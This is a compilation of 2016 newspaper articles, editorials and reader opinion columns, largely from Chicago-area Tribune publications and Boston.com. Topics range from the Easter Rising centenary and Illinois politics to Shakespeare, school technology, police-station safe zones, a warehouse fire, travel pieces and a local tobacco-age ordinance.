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A general view during the Easter Sunday Commemoration Ceremony and parade on March 27, 2016 in Dublin, Ireland. (Maxwells, Irish Government)

In almost every respect, the affair was a debacle. Planned for Easter Sunday, it was called off and then called back on for the following day, creating confusion and causing many rebels to stay home. A shipment of arms from Germany, a government that also sensed opportunity in England's difficulty, never arrived.

Nor was there an eruption of popular support. On the contrary, some Dubliners cheered when British troops arrived to suppress their countrymen's mutiny. When one leader read the Proclamation of the Republic  essentially a declaration of independence from the United Kingdom  the onlookers responded tepidly.

The rebels held out for only six days, taking heavy casualties from British snipers and artillery. Hundreds of civilians died, and much of the city center was reduced to rubble. To end the fight, the insurgents had to surrender unconditionally.

As the rebels were marched off to jail, they were booed by locals, many of whose sons, brothers or husbands were fighting in France under the Union Jack. "The first Irish Republic lasted 124 hours and seemed doomed to the double stigma of failure in accomplishment and futility in aim," wrote historian James Mackay.

But the victors overstepped badly in the aftermath. By putting 16 rebels to death, Britain created martyrs  including James Connolly, who was propped on a chair to face the firing squad because he couldn't stand on his wounded leg, and Joseph Plunkett, who was allowed to marry his fiancee just hours before he was taken away to be shot. W.B. Yeats wrote a poem, "Easter 1916," whose final words would gain immortality: "A terrible beauty is born."

The shattered remains of the General Post Office in Sackville Street, Dublin, after the Easter Rising. Fighting occurred after members of the Irish Citizen Army and the Irish Volunteers took control of the GPO under the leadership of Patrick Pearce and James Connolly. (Hulton Archive, Getty Images)

The executions, along with the imprisonment of hundreds of people under martial law, radicalized public opinion  not just in Ireland, but also among Irish-Americans. Even in England, many people were dismayed.

Nationalist sentiment spread in Catholic Ireland, and by 1919, the British government found itself in a savage war against the Irish Republican Army. Finally, it signed a treaty granting Ireland self-rule within the empire while allowing the Protestant-dominated northern counties to remain part of the U.K.

That outcome gave way only to more strife: A civil war broke out between those Irish who accepted the accord with Britain and those who thought it shamefully inadequate. The often-bloody sectarian conflict in Northern Ireland known as "the Troubles" went on for decades.

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But with the Rising of 1916, Ireland was on its way to independence, and the British empire was on its way to disintegration. A British official in Ireland said in 1914, "I don't know if the Irish can govern themselves, but one thing's certain: No one else can." The same proved to be true of colonized people in India, the Middle East and Africa.

When Britain began to relinquish its empire, many of its people were pessimistic. An independent Ireland, London feared, would provide Britain's enemies with an ally next door. But history developed in a more congenial way. Those on either side in 1916 could not have foreseen that a century later, both countries would be prosperous, democratic and peaceful  and close allies in the European Union.

Much of the history between them is marred by enmity and sorrow, the rising included. But today, it is gratifying to see, that turbulent history is mostly a thing of the past.

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Gov. Bruce Rauner speaks to the press after a news conference on March 21, 2016. Rauner and Illinois Senate Republicans on Thursday blocked a measure to put on the ballot the option of eliminating the office of lieutenant governor. (Zbigniew Bzdak, Chicago Tribune)

We've seen plenty of theater in Springfield over the years, but rarely the gymnastics on display Thursday.

Oh, the aerials. The arabesques. The cartwheels. It was something to behold.

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The gymnasts who earned top scores for their twists and flip-flops were Senate Republicans who voted to defeat a measure to put a constitutional amendment on the ballot. The amendment would eliminate the lieutenant governor's office by 2019.

Good government groups have fought for years to dissolve the office because it is largely unnecessary and nixing it would save $1.6 million a year. (We laid out the reasoning in an editorial posted Wednesday.)

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Some Senate Democrats voted down the amendment, too, but the hypocrisy among Republicans  the party of so-called fiscal conservatives who advocate for smaller, more efficient government  was starker. Instead of putting the measure on the ballot for voters to decide, they swooped in and blocked it.

Even richer, 14 Senate Republicans who helped kill the proposal were co-sponsors of the same legislation in 2013.

Their issue this time around? Who would step in if the governor died or became unable to serve. That's the primary role of the lieutenant governor. The proposal for a constitutional amendment, sponsored by Sen. Tom Cullerton, D-Villa Park, would tap the attorney general for that role. Same as the 2013 bill that many Republicans co-sponsored.

Except this time, Republicans didn't like the idea. They argued that allowing an attorney general who might be of the opposing political party to take over as governor would be a disservice to voters. You can't pass the baton from one party to the other, they claimed. They tried to make their argument seem hypothetical when anyone listening knew exactly what their problem was: a specific attorney general.

The House sponsor, Rep. David McSweeney, R-Barrington Hills, says he will still call the proposal for a vote in the House because "people deserve a right to vote on this." But without Senate support, it won't get on the ballot.

States that have eliminated their lieutenant governor positions all named successors, whether it was the secretary of state, the president of the Senate, the House speaker. Party affiliation was not a factor. Those other states understood that the goal was not maintaining political power but getting rid of an unnecessary office and cutting costs. The lieutenant governor position is simply not needed.

We're told the directive to vote "no" came from Gov. Bruce Rauner, who ran for office on a platform of government consolidation, not political gamesmanship. His own hand-picked lieutenant governor, Evelyn Sanguinetti, advocated recently for the elimination of her own office. Not long ago, she finished a lengthy report, at Rauner's direction, on how local governments could get rid of unnecessary layers of government. How voters could be empowered to cut bureaucracy.

Rauner's spokesman says the governor wanted to meet with the bill's sponsor, Tom Cullerton, to discuss concerns about the line of succession. But Cullerton wouldn't meet with him, and the bill got called for a vote.

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In the end, the fear of transferring power from a GOP governor to a Democratic attorney general outweighed the principles of shrinking government, cutting waste and, most important, letting voters decide whether to change their own constitution.

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In this March 16, 2016, file photo, a portrait of William Shakespeare is seen in the Third Folio, in London. William Shakespeare died 400 years ago Saturday, April 23. (Kirsty Wigglesworth, AP)

Saturday marks the 400th anniversary of William Shakespeare's death. While the yearlong Shakespeare 400 Chicago festival celebrates the Bard of Avon, a report for culture vultures at the British Council suggests that interest here and elsewhere may be stronger than it is in his homeland. The survey of 18,000 people in 15 countries indicates that Shakespeare's plays are better appreciated and more popular in Brazil, India, China, Mexico, Turkey and the U.S. than in Britain.

Not surprisingly, according to the survey Shakespeare's best-known characters are the teenage lovers in "Romeo and Juliet." One way of building appreciation for Shakespeare is an approach we're trying in Chicago  exposing young people in school to this and other of his plays by employing language and settings they can understand.

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This sort of accessibility may be why non-Brits exhibit more enjoyment of Shakespeare than the British do. Rosemary Hilhorst, director of the British Council's Shakespeare Lives program, says most Britons learn Shakespeare in the original English, whereas in other countries more modern translations and performances are more student-friendly. Hilhorst told The Guardian that one challenge for educators is to help youngsters "get in touch with the fantastic stories that are there in a way they feel is relevant for them."

Why bother? In part because many themes of Shakespeare could be ripped from today's headlines. Under the artistic direction of Barbara Gaines, Chicago Shakespeare Theater recently staged a contemporary version of "Othello." It's the story of a racial outsider who is victimized by a villain, but who nevertheless maintains his dignity in the face of a racist society. Strike any contemporary chords?

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Where the subject is prejudice, there has never been a more moving character in all literature than Shylock in "The Merchant of Venice." He vows to perpetuate the humiliations society has done to him and then to extract even more vicious revenge. "I am a Jew. Hath not a Jew eyes? Hath not a Jew hands, organs, dimensions, senses, affections, passions; fed with the same food, hurt with the same weapons, subject to the same diseases, healed by the same means, warmed and cooled by the same winter and summer as a Christian is? ..."

Consider, too, the bastard Edmund from "King Lear," who chafes at the disgrace and disrespect he must endure from a disapproving society because he was born out of wedlock. His seething contempt for the social order is evident from his puns on the terms "bastard" and "legitimate": "Why brand they us with base? with baseness? bastardy?  As to the legitimate, fine word, 'legitimate!'  Now, gods, stand up for bastards!"

And as for modern election campaigns where naked ambition and lust for power are everywhere we look: Arguably no fictional character embodies these traits more than Lady Macbeth. As she and her husband plan to murder the King and take the Crown, she tells her husband "to screw your courage to the sticking place, and we'll not fail." Timeless.

In 1864, during the 300th anniversary celebration of Shakespeare's birth, Charles Dickens remarked on the vivid characters the Bard created: "We meet on this day to celebrate the birthday of a vast array of living men and women who will live forever with an actuality greater than that of the men and women whose external forms we see around us."

Were his sentence not already too long, Dickens could have added "the world over." Chicago and Illinois included.

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When I put the question to an official at the National Conference of State Legislatures, which is even now conducting research on the cost of elections, he cited a report that California (with roughly three times the population of Illinois) spent $98 million to run its primary in 2008. And an analysis at the website of the nonpartisan Independent Voters Project estimated the cost of all party primaries in the U.S. in 2012 at $400 million.
In the July 4 Saturday Life section of the Globe, I wrote about Adam Hodges-Leclaire, the young man from Lincoln who is a crew member aboard the replica of the French frigate Hermione, due to dock in Boston on July 11. (Click here to read the story.) But he's not the only one with a soft spot for the shipand for the history that she represents.

The original Hermione was built in the naval shipyard in Rochefort on the Atlantic coast of southwestern France in 1779. By then the shipyard, established by Louis XIV in 1666, was known for its innovative construction techniques and for the beautiful vessels it crafted for the Royal Navy. By the time the yard closed in the 1920s, it had sent more than 550 ships down the ways.

When a group of local movers and shakers decided to try to revive the proud history of their shipyard, they landed on what seemed like a crazy idea to recreate the Hermione, the ship that took the young Marquis de Lafayette to the aid of the American cause in 1780. The 17-year project captured the imagination of the public, who came to watch the progress and support the effort through their admissions.

When the Hermione returns to France after her triumphant tour along the Eastern seaboard, her home port will be at the Rochefort shipyard that she helped bring back to life as a tourist attraction. With its rope making factory, stone dry-dock, and powder magazines, the Arsenal facility (once called the Petit Versailles of the sea) is not unlike Charlestown Navy Yard.

After exploring the site on foot, visitors can follow several bicycle routes that lead past a number of forts that were established along the coast to protect the valuable shipyard. On the island of Aix, a short ferry ride from the mainland, visitors can also see the 1808 house built for Napoleon when he came to inspect the fortifications. After his defeat at Waterloo, Napoleon returned to Ile-d'Aix in 1815. His last three days on French soilJuly 12-15were spent on this tiny island that now attracts daytrippers with its beautiful beaches and bicycle paths.

For more information, see www.visit-poitou-charentes.com or www.rochefort-ocean.com.

Patricia Harris is co-author of European Travel for the Genius, to be published later this summer.

Photos of entrance to the Arsenal in Rochefort and the interior of the Napoleon House on Ile-d'Aix by Patricia Harris for Boston.com.




U.S. Rep. Bill Foster (D-Naperville) talks to students Abigail Ruiz and Aylani Santillan during a tour at East Aurora School District's Benavides Kindergarten Center Friday. The boy in the background is student Eduardo Montalvo. (David Sharos, The Beacon-News)

These days, it seems it's never too early to get technology into the hands of children.

Technology was the focus of a special tour held for East Aurora School Board members, Aurora City Council members and U.S. Rep. Bill Foster (D-Naperville) at East Aurora's Benavides Kindergarten Center in Aurora Friday.

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Kindergarten student showed off their technological prowess as iPads and various apps were put through their paces as visitors toured the school.

Assistant Principal Jen Tapia said the tour had a purpose.

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"We've had one technology showcase already and this is our second which is very similar," she said. "We've wanted to show how technology is being used by teachers to address common core standards of learning."

Tapia described the Benavides students as "phenomenal" in their ability to utilize technology "to create their own work."

Apps being used included those that foster development of skills in literacy and math. Visitors were able to see how students and teachers worked together using technology.

Technology teacher Jill Calhoun spoke about some of the commonly used apps by the children, noting that many offered students the chance to use words with pictures.

"We have ... an app which allows students to take a picture of something and add a speech bubble, just like a comic strip," she explained.

She also said there is an app students can use to put pictures and text together to create a poster.

"We want them to learn how to create and we want them writing," Calhoun said.

The 17 rooms of kindergarten students along with three preschool classrooms opened just last year at 250 E. Indian Trail and has an enrollment of 400 students.

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Beatrice Reyes Childress, East Aurora assistant superintendent for educational operations and resources, said the students' "exposure to technology is incorporated with play and social activities" and that students "are exposed to not just games but learning games."

"We want parents to see how technology can help students academically, and we used played-based cooperative learning, and work cooperatively using technology as a tool," Childress explained.

Foster said students having technology and access to the Internet "is democratizing."

"The fact that kids can connect to the Internet here the same as everyone around the world and having a one-to-one ratio of iPad to student means that education can be customized," he said. "It's great to see this happen and the fact that the school district has dedicated resources and made this investment, it's going to pay off many times over in the future."

Visitors stopped in the classroom of nine-year veteran teacher Danielle Becker, who said she "is amazed at how well the students are doing" with technology.

"The students have gotten to the point where they can figure out a lot of things on their own and in the two years we've been working here, there are things they have been able to create that before weren't possible," she said. "With things like Google Earth they can see places around the world and with the translation app hear languages even though they've never seen these places."

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Becker's room included two so-called "Super Tech" students whose skills and interest in technology allowed them to act as resources for their classmates. Itzel Villa, 6, said she wanted to be a Super Tech "because I like to learn about stuff, and I already know how a lot of things work."

"My teacher says I've done a good job and can talk to adults," she said.

Kadareus O'Neal admitted his Super Tech skills include knowing how to play video games and use game apps, but that he has also learned academic things as well.

"I've been able to learn some Spanish but only this much," he said, holding two fingers barely apart.

David Sharos is a freelance reporter for The Beacon-News
The Plano City Council is finalizing plans to officially declare the parking lot at the Plano Police Department a safe zone. Residents could use the lot to make secure transactions with strangers. (Susan Thanepohn, The Beacon-News)

So-called "safe zones" are becoming more popular in the Fox Valley as a way to give residents a secure place to make transactions with strangers.

Plano is the latest town in the area to look at the concept. The Plano City Council is finalizing plans to officially declare a safe zone to provide a supervised, safe place for exchange of money or merchandise in the case of private sales on websites like Craigslist or Ebay.

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Unofficially, some citizens have already used the parking lot at the Plano Police Department for this purpose, but aldermen plan to adopt an ordinance lo make the lot the official safe zone. They also want to get the word out to the public to create awareness of the area.

The police department, at James and Main streets in Plano, will have designated parking spots that are within view of the building's security camera where such exchanges can be made.

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Tom Karpus, director of Building, Planning and Zoning for Plano, said "you see in the news that someone got robbed while selling a stereo or something. You need to provide a supervised, safe location."

Montgomery implemented a safe zone program in June 2015. The village encourages residents to the use the front lobby of the Montgomery Police Department at 10 Civic Center Avenue. The lobby is open 8 a.m. to 4:30 p.m. Monday through Friday. People can also use the public parking area in front of the building for transactions.

Montgomery Deputy Chief of Police Armando Sanders said safe zones are a good way to prevent being robbed by someone during a transaction.

"You can never be too safe," he said. "People need to keep that in mind."

The city of Aurora does not have officially designated safe zones, said Dan Ferrelli, spokesman for the Aurora Police Department. However, "we encourage anyone who has to exchange kids or conduct private sales to go to the Aurora Police Department located at 1200 E. Indian Trail. The police department is open 24 hours a day, seven days a week and the public can meet inside the lobby or out in the parking lot."

He said meeting at the police department "can tend to weed out criminal activity."

"There are security cameras inside and outside of the building," he said. "If they use the parking lot, they can let police know when they plan to do it for extra protection."

Oswego has considered the idea of establishing an official safe zone for residents, but has not yet acted on it, said Cathy Nevara, public information officer for the Oswego Police Department.

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She said that some residents have used the police department as a safe meeting point for the exchange of children in custody cases, and residents are welcome to meet people in the lobby or in the parking lot.

"It makes sense to do this," she said.

Susan Thanepohn is a freelance reporter for The Beacon-News
"As we think about the times we live in and think of our nation and consider the world we live in, I see some very disturbing issues and problems," she said. "I am not disturbed. I am hopeful. We know how to correct and solve them."
Beseech Cruz not to preach: I have nothing bad to say about any of the politicians running for president. I will listen to all of the candidates to see what comes out of their mouth. It may be something I like, and they might change my mind about them. One thing I will not change my mind about, however, is the way Ted Cruz is pushing religion. I like a few of his ideas, but he sounds like he's preaching every time he gives a speech. I have my own religious beliefs. If you want to be a preacher, hang up your political act and get into church.

Design better signs: I just read the story and saw that photo about Aurora fighting blight. Good. Any realist can see there are a lot of buildings in Aurora that need to bite the dust. Did you notice that sign on city-owned property? It was stenciled and spray-painted on cheap cardboard. I've seen better signs from preschool art classes. You would think the second largest city in Illinois would put up signs that weren't so laughable.

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Religion and government do not mix: I heard Donald Trump say that this is supposed to be a democracy. I want to tell him he's right, but it will never be a democracy as long as we have all these hyper-Christians trying to bring religion into the White House.

Sticking with Trump: I read all the newspapers. There was a letter in one of them that said Donald Trump can take on the establishment. It was a great letter. I hope Trump takes New York like a guy on a racecourse, and I think he'll take California. There are a lot of Trump supporters out west. If you want to clean up the corruption in this country, vote Trump in there. Like him or not, I think he'll be a good president.

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Stunned by shooting: This is about the policeman in South Carolina who only received three years of probation for shooting a 68-year-old black man multiple times for suspected drunk driving. In his defense, the officer said the man was reaching for his gun. This is what I'm saying. This is about black people not getting the same justice as white people. That's why we have the protest of black lives matter. The playing field is not level. I'm not a racist and never will be, but we have to be treated equally. We must come together and put an end to racism. These things should not happen.

Revved up about road tax: The newspapers are talking about John Cullerton, a Democrat from Illinois, who wants to put a road tax on our vehicles. He wants to charge us 1.5 cents per mile for every mile driven and leave the gas tax in place. What is our reward for an Illinois government that can't pass a budget and refuses to do anything it's required to do like sending out notices about our licenses? All they want to do is take money, give it away to illegal immigrants, and charge the people who are working. It's time for us to leave Illinois just like thousands of others have been doing over the last few years.

Don't back road tax: I'm reading an interesting article about tax on mileage. They say you could be charged 1.5 cents per mile on your car for Illinois tax. You know what I want to say to Illinois? Hello, Wisconsin. Goodbye, Illinois. It's so crooked, it's not funny. They are idiots. Just over the border to southern Wisconsin is looking real good.

Perturbed about politically correct terms: Congress has really done it now. Why can't we refer to illegal aliens as illegal aliens? That's what they are. Why are we worried about hurting their feelings? These people are illegal.

False flags: I am calling about false flag operations. Let's go back to Civil War times when there was a war between the North and the South. I wonder if anyone understands that President Abraham Lincoln didn't care two hoots about the slaves. What he cared about was preserving the Union, meaning the United States as defined by the North. So that was a false flag operation. Lincoln's advisers told him that if he really wanted to preserve the Union, he needed a cause to get people up in arms and angry enough to do something. So they picked out the worst slaveholders and paraded them in front of the people. Now look at Chicago. Why is it that the rest of Illinois has to pay for Chicago's financial woes? Isn't it just gross mismanagement? Isn't it just gross disregard for the law that the Chicago school district can be so far in debt and not follow the law? Don't forget Chicago protects illegal immigrants. People like Rep. Luis Gutierrez, Sen. Dick Durbin and Rep. Jan Schakowsky were sworn to uphold the Constitution and the laws of the land, but they're not doing it. Talk about a false flag operation. Let's get this country back to where it belongs.

Editor's note

Speak Out is a reader-generated column of opinions. If you see something you disagree with or think is incorrect, please tell us. Call us at 312-222-2460 or email couriernews@tribpub.com. Please include "speak out" in the subject line.
It's funny how something as mundane as a highway rest area can come to symbolize a state. For years, it seemed like New Hampshire greeted travelers mainly with big state-run wine and liquor stores that had limited amenities. The new I-93 welcome centers have a kinder, friendlier look. The booze stores are still part of the mix, but New Hampshire has contracted with The Common Man restaurant group (thecman.com) to develop and operate the rest of the roadside conveniences. Construction began in October 2013, and we're happy to report that both northbound and southbound centers are open for business with 24-hour Irving gas pumps and little mock village centers that include spacious and up-to-date rest rooms, an ATM, a New Hampshire General Store (really a convenience store with some local foodstuffs), a cafe-bakery, a Common Man Express restaurant, and a faux-Fifties Hi-Way Diner. Anyone familiar with the Common Man eateries will recognize the comfort food offerings. There's also a small shop carrying crafts by members of the League of New Hampshire Craftsmenall in all a surprisingly homey Granite State welcome.

The centers are located in Hooksett, about two miles south of the I-93 and I-89 junction, so you can make a stop whether you're headed north of Franconia Notch in New Hampshire, or up to Vermont's Northeast Kingdom.

Photo by Patricia Harris for Boston.com


Susan Trieschmann was sick of hearing the same story.

Kid grows up in a dangerous household. Kid commits a crime. Kid says he never would have done it if he had a job.

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What Trieschmann heard day after day in meetings of formerly incarcerated youth in Evanston spurred her to act. With the skills she learned starting her own catering business, she opened Curt's Cafe, which teaches life skills through restaurant work and counseling to kids who have been in and out of the criminal justice system.

The results have been astounding. In her program, Trieschmann says only 2 percent of the more than 150 participants have been back behind bars, compared with a nearly 60 percent rate of return generally for juveniles who have gone through the Illinois Department of Juvenile Justice.

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The data show she's onto something.

Extensive research demonstrates that one of the best predictors of whether someone will re-offend is whether he or she can find a decent job. But ex-offenders' odds of finding a job are poor. Survey data suggest as many as 60 to 75 percent of former offenders are unemployed a year after their release.

One major barrier to steady employment for those with criminal records? Occupational licenses, which cover jobs from barber, to cosmetologist, to funeral director, to architect. In fact, nearly 25 percent of Illinois' workforce requires government permission to work. A youthful mistake could lead to months or years of waiting for permission to work, or even a lifetime ban, for a wide swath of jobs that can provide a path to self-sufficiency in adulthood.

It's encouraging then that the Illinois Department of Corrections and the Illinois Department of Financial and Professional Regulation announced April 11 that ex-offenders who have completed training in barbering and cosmetology while incarcerated will be able to apply for a license to work before their release from prison. Instead of waiting months to get their licenses after release, this change will allow more former offenders to find work as soon as they complete their sentences.

Megan Royer from Peoria is enrolled in a cosmetology program while incarcerated. The new rules will allow her to apply for a license six months before her scheduled release in 18 months.

"We need to provide for our families as soon as we get out there," Royer said. "Being able to go out into society and have that license on hand, we are able to just start applying for jobs in the field. It's a great thing for them to do."

Daily Southtown Twice-weekly News updates from the south suburbs delivered every Monday and Wednesday >

But opening paths to productive futures for ex-offenders will require more than tweaks around the edges. Ex-offenders returning to a life of crime is a massive problem in Illinois. Nearly half of the people released from Illinois prisons each year will have returned three years later. Too often, the same individuals repeatedly cycle through the system.

This cycle of crime comes with enormous fiscal costs for Illinoisans and threatens public safety.

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According to research from the Illinois Criminal Justice Information Authority, Illinois taxpayers will pay about $5.7 billion over the next five years in costs related to ex-offenders returning to prison, assuming the current rate of return stays constant. And repeat offenders commit a majority of crimes in the state, according to the Illinois Sentencing Policy Advisory Council.

With this in mind, Gov. Bruce Rauner has set a goal of safely reducing Illinois' prison population 25 percent by 2025.

The General Assembly is considering a few bills that would help reduce repeat offenses by removing barriers to employment. House Bill 5973, for instance, would prohibit the Department of Financial and Professional Regulation from denying an application for an occupational license based on criminal offenses that are unrelated to the profession in question. This is an encouraging reform that would prevent Illinoisans from being denied their right to work because of a crime for which they have already received punishment, and that has no relation to the career they want to pursue.

The fiscal and societal costs of unemployment and underemployment among ex-offenders are staggering. Tools to address those costs are on the table in Springfield. It's time to act.

Austin Berg is a writer for the Illinois Policy Institute. He wrote this column for the Illinois News Network, a project of the Institute. Austin can be reached at aberg@illinoispolicy.org.
I agree racism exists and I can't speak for the Tinley Park trustees situation, but I must say that not all things deserve the racism label. Some opinions, plain and simple, come down to human decency and respect for others, regardless of your race. I would like to know, El from Hegewisch, if you've been to these upscale restaurants when the "lower class" people, as you refer to them, are there? Or to the Orland mall, or a high school during the day? Inconsiderate, rude, disrespectful, loud and unsettling behavior is what you can experience. Not all of the time, but it's absolutely present. Is it racist to say so? No. That behavior comes from people of all colors and cultures, but definitely some more than others. It doesn't make you racist to not appreciate feeling like you are surrounded by unconcerned and uncaring people.

Ray, Orland Park

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When are we going to wake up and realize that trying to be politically correct all the time is worst. I moved to Tinley Park more than 20 years ago. Why? Because I want a great place to live and raise a family. I did not ask for free or affordable housing. I worked and saved my money to buy a home that I can afford in Tinley Park. If I wanted to live near projects or affordable housing complexes, I would have moved to some other place. A person should never be made to feel guilty for where he lives. I do not mind helping people who are down on their luck, but I am tired of paying for lazy people that think they are entitled to free rent, free phones, free Internet, free food and money. I guess my parents were wrong  If you work hard, good things will come to you. It should have been  Be lazy and everything will be given to you.

Tinley Park

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I've been watching this story and I think it's a disgrace the way the Village of Oak Lawn handled the towing contract and ousted Jack's Towing as its longtime service provider. This appears to be nothing more than a political witch hunt. Jack's provided impeccable service to the village for many years. I believe their are other motives in play, like a land grab rather than just a vendor change. To put a family owned company out of business and assign the contract to two vendors that aren't even located within the village limits makes absolutely no sense. Shame on you Village of Oak Lawn.

To Bob from Oak Forest, the Vietnam vet who says they don't get the recognition that World War II and Iraq vets do: You should hold your head high every day. There are many Americans who do recognize your service, and you are as much a hero to me as any vet. The way you were treated back then was disgraceful. I wish I could buy you a nice dinner or a drink to show my appreciation, but even that wouldn't be enough. Be proud of yourself. I am.

Patricia, Hometown

If Obamacare was so wonderful, according to the liberal Democrats, then why is the nation's largest health insurer, United Healthcare, pulling the proverbial plug on it for a quick exit. As White Sox announcer Ken Harrelson would say, 1-2-3, they gone.

Don, Orland Park

Daily Southtown Twice-weekly News updates from the south suburbs delivered every Monday and Wednesday >

Why is revising the benefits received by the Chicago Fire Department members such a taboo subject? When they buy their uniforms, they can do what the rest of us do  claim it as a tax deduction. I'm a nurse. My uniform consists of scrubs. My company does not purchase them. I do.

Chicago

I think Democratic presidential candidate Bernie Sanders needs to concede. There's no possible way for him to beat Democratic candidate Hillary Clinton, so I think they should present a united front so that we can be strong. Sitting there knocking Hillary with your bumbling facts is not good, Sanders. For one thing, you're a socialist with communist ties to Cuba back in the 1960s. We don't need your type to be running for president. Admit defeat and back Clinton so we can have a strong Democratic Party.

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If Christians were responsible for 99 percent of the terror attacks throughout the world, I would expect that my Christian church would/might/should come under some surveillance, especially if there were some types of concern. The fact that Americans are concerned with Islam is to be expected. I would welcome the FBI to sit in at my church's weekly services, mens club meetings, teen clubs, moms helping moms, service club meetings, our pastors economic planning, etc. Why not, we have nothing to hide.

Orland

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Fire crews battled an extra-alarm blaze in Woodridge in the southwest suburbs on April 21, 2016. (WGN-TV) (Chicago Tribune)

Firefighters on Friday morning were still at the scene of an extra-alarm fire that destroyed a furniture warehouse in Woodridge on Thursday night.

Crews were at the RoomPlace warehouse to secure the site and make sure there were no hot spots remaining from the four-alarm blaze, according to the Lemont Fire Protection District.

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According to a news release from the district, officials from the Bureau of Alcohol, Tobacco, Firearms and Explosives were scheduled to conduct an investigation of the fire, which could be seen for miles. Personnel from the Illinois state fire marshal's office were also at the scene.

Fifty employees in the warehouse were able to escape without injury, officials said. No firefighters were injured.

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Crews responded to an automatic fire alarm at the warehouse in the 2500 block of Internationale Parkway about 5 p.m., said Lemont Fire Protection District Chief George Rimbo.

"We were en route when we (started receiving) 911 calls from people who were inside the building telling us there was smoke in the building," Rimbo said Thursday night.

Rimbo said all employees had been evacuated by the time responders arrived.

Possibly as many as 115 firefighters from 35 departments fought the blaze at the 320,000-square-foot building, authorities said. Rimbo said that, at one point, five streams of water from aerial devices were used to keep the fire from spreading to other buildings in the industrial area, southwest of where Interstates 55 and 355 intersect.

Expand Autoplay Image 1 of 4 A RoomPlace warehouse in Woodridge was severely damaged by a fire Thursday night. (Bill Bird / Naperville Sun)

No cause or source for the fire had been determined as of Thursday night, Rimbo said.

The RoomPlace posted the following message on its website: "Due to a recent issue at our main Distribution Center, we are unable to take incoming calls at this time. We'll be contacting our customers in the coming days with more information. We apologize for the inconvenience."

According to a news release from the village of Woodridge, customers of Illinois American Water Co. were being told to boil their water. The boil order affects the portion of Woodridge south of I-55. It does not affect the Woodridge Water System and its customers north of I-55.

Peter Nickeas is a Chicago Tribune reporter. Bill Bird is a Naperville Sun reporter.
After a slow start, the colors of fall foliage seem to be spreading southward. If you decide to check out the Quiet Corner of Connecticut next weekend, the salmon pink Roseland Cottage in Woodstock is always as bright as anything that Mother Nature can offer. The Gothic Revival style home, now a property of Historic New England, hosts its annual juried Fine Arts and Crafts Festival on October 17 and 18, with more than more than 175 artisans offering everything from toys and glass to paintings and pottery. A food court, live music, and tours of the first floor of the home round out the days. The fair runs both days from 10 a.m. to 4:30 p.m. Admission is $5, free to Historic New England members.

556 Route 69, Woodstock, Conn. 860-928-4074; www.historicnewengland.org/historic-properties/homes/roseland-cottage



Roseland Cottage photo by David Lyon for Boston.com
As they do with most of the accolades they receive, officials at Stevenson High School are taking another high ranking from U.S. News and World Report in stride.

The publication recently ranked Stevenson High School as the fifth best high school in Illinois for 2016 behind four magnet schools in the Chicago Public School system. The statewide ranking is the same position the Lincolnshire district earned in 2015.

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But the magazine bases its rankings mostly on standardized test scores, Stevenson High School officials said. While Stevenson students generally produce strong test scores, they also have a well-rounded educational experience that goes beyond assessment results, spokesman Jim Conrey said..

"We're pleased to be up there, but what makes Stevenson a great place is not just test scores," Conrey said.

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For its 2016 list of best schools in the country, U.S. News and World Report ranked Stevenson High School 166th.

Rankings outside of U.S. News and World Report usually take into account factors beyond standardized tests. Conrey said the rating system at Niche.com factors student activities, the conditions of school facilities and more. In Niche's 2016 rankings, Stevenson High School ranked the number five best public school in the nation, next to schools located along the East Coast.

Founded in 2002, Niche.com is a website that ranks and reviews colleges, neighborhoods, schools and other places for consumers, according to its website.

In the past, Stevenson officials have criticized the PARCC test, the standardized assessment Illinois introduced in 2015 to measure student performance. During a board meeting on March 21 , superintendent Eric Twadell said the PARCC test had been a "complete disaster," as district board members and administrators voiced desires to see the state switch to another test.

Aside from the four magnet schools in Chicago, schools in the northwest suburbs dominated the U.S. News and World Report rankings. Of the 674 high schools the publication ranked, Deerfield High School rated seventh. Glenbrook South, Lake Forest, Highland Park, the two District 128 high schools in Liberyville and Vernon Hills, and four of Township High School District 214's buildings all made the top 25.

With 3,761 students and 243 instructors, U.S. News and World Report gave Stevenson High School a student-teacher ratio of 15-to-1. The magazine deemed 0.1 percent of the Patriots as "economically disadvantaged." Rated 16th best in the state, Buffalo Grove High School's student population is 19 percent economically disadvantaged.

The economically disadvantaged category, the publication said, is based on government data on the percentage of students who qualify for free or reduced lunch. To see complete high school rankings in Illinois, visit usnews.com/education/best-high-schools.

rwachter@pioneerlocal.com

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Twitter @RonnieAtPioneer
Melanie Walchli, 20, smokes during a downtown Chicago walk Jan. 14. Oak Park could join Chicago in raising its minimum age to buy tobacco products from 18 to 21. (Abel Uribe, Chicago Tribune)

As Oak Park works toward increasing the age to buy tobacco products within the village, it could also increase the required age of those selling the product as well.

During a first reading of the village's proposed ordinance April 18, it was revealed the minimum age of a seller of tobacco products was left at 18 years old.

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"I noticed we left that at 18," Trustee Glenn Brewer said. "Should that also be 21? Someone who is 18 can sell it, but not actually buy it? I'm raising it as a question rather than direction."

Village attorney Paul Stephanides said such a change would be a "policy decision" decided by the village board.

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In March, the village announced its intention to increase the minimum age for the purchase of tobacco and nicotine products within the village from 18 to 21. The village mirrored a similar ordinance approved by Evanston in 2014. Chicago also raised the age to buy tobacco within the city to 21 years old earlier this year.

Stephanides said Chicago kept its minimum age to sell tobacco at 18, but Evanston raised it to 21.

Village Manager Cara Pavlicek said requiring that individuals must be 21 and older to sell tobacco and nicotine products could be challenging to the business community, and village staff chose to keep the minimum age to sell at 18 in the first draft of the ordinance.

"You have, say, the Walgreens and the 7-Elevens trying not to impact somebody by saying 'I can't employ you now,' " Pavlicek said. "That's what we came down to on the issue. We're certainly receptive if the board thinks that's the wrong recommendation."

With the minimum age to sell alcohol set at 21, Trustee Brewer asked staff to reach out to businesses that would be affected by such an action on tobacco and report back to the board.

"Most businesses typically sell alcohol and tobacco together or somewhere close to each other," Brewer said. "You're already accustomed by having people of a certain age sell one product. It may not be that difficult of a transition. We should at least find out."

Amy O'Rourke, an Oak Park resident speaking on behalf of the Respiratory Health Association, spoke in favor of pushing the ordinance forward.

"Ninety-five percent of adult smokers take up the habit before they are 21," O'Rourke said. "Raising the tobacco purchase age to 21 would keep tobacco out of schools. Research shows the majority of underage tobacco users rely on social sources like friends and family to get tobacco. By raising the purchase age to 21, it would be much less likely that those who can legally purchase tobacco would still be in the teenage social circle."

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The updated ordinance also calls for a minimum penalty for the sale of tobacco products to anyone under the age of 21 to be increased to $100 from $50.

A second reading and adoption of the ordinance is expected at a future village board meeting.

sschering@pioneerlocal.com

Twitter: @steveschering
